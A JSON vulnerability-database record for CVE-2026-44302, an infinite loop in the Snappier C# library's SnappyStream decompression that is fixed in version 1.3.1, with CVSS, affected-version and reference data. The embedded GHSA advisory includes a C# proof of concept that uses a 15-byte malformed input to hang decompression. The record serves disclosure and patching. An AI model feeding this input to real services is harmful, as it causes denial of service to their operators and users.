{"id":"CVE-2026-44302","aliases":["EUVD-2026-29863","GHSA-pggp-6c3x-2xmx"],"status":"published","title":"Snappier: Infinite loop in SnappyStream decompression on malformed framed input","description":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00316,"percentile":0.24839,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-835"],"published":"2026-05-06T20:53:23Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"NuGet","package":"Snappier","fixed_in":["1.3.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"Snappier","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.3.0"},{"fixed":"1.3.1"}]}]},{"source":"osv","ecosystem":"NuGet","package":"Snappier","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.1"}]}],"versions":["1.0.0","1.0.0-beta001","1.0.0-beta002","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.2.0","1.2.0-beta0001","1.3.0"]}],"products":[{"vendor":"brantburnett","product":"snappier"}],"references":[{"url":"https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44302","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pggp-6c3x-2xmx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44302.json","tags":["advisory"]},{"url":"https://github.com/brantburnett/Snappier","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44302","title":"Snappier: Infinite loop in SnappyStream decompression on malformed framed input","description":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.","status":"published","published":"2026-05-12T21:33:07.206Z","modified":"2026-05-18T15:10:25.995Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-29863","description":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.","status":"published","published":"2026-05-12T21:33:07Z","modified":"2026-05-18T15:10:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:21:16.184545Z"}],"ghsa":[{"id":"GHSA-pggp-6c3x-2xmx","title":"Snappier has an infinite loop during SnappyStream decompression with malformed framed input","description":"### Summary\n`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.\n\n### Details\nThe hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.\n\n### PoC\n```csharp\nusing System.IO.Compression;\nusing Snappier;\n\nbyte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };\nusing var src = new MemoryStream(data);\nusing var snap = new SnappyStream(src, CompressionMode.Decompress);\nusing var dst = new MemoryStream();\nsnap.CopyTo(dst);   // never returns\n```\n\n### Impact\nA caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can't recover (no exception is thrown).","status":"published","published":"2026-05-06T20:53:23Z","modified":"2026-05-13T16:41:53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-44302","description":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.","status":"published","published":"2026-05-12T22:16:36.997Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:12:18.613259Z"}],"osv":[{"id":"CVE-2026-44302","title":"Snappier: Infinite loop in SnappyStream decompression on malformed framed input","description":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.","status":"published","published":"2026-05-12T21:33:07.206Z","modified":"2026-10-28T02:30:33.143308866Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-pggp-6c3x-2xmx","title":"Snappier has an infinite loop during SnappyStream decompression with malformed framed input","description":"### Summary\n`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.\n\n### Details\nThe hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.\n\n### PoC\n```csharp\nusing System.IO.Compression;\nusing Snappier;\n\nbyte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };\nusing var src = new MemoryStream(data);\nusing var snap = new SnappyStream(src, CompressionMode.Decompress);\nusing var dst = new MemoryStream();\nsnap.CopyTo(dst);   // never returns\n```\n\n### Impact\nA caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can't recover (no exception is thrown).","status":"published","published":"2026-05-06T20:53:23Z","modified":"2026-05-13T16:57:26.783651Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:46:53.244788Z"}]}}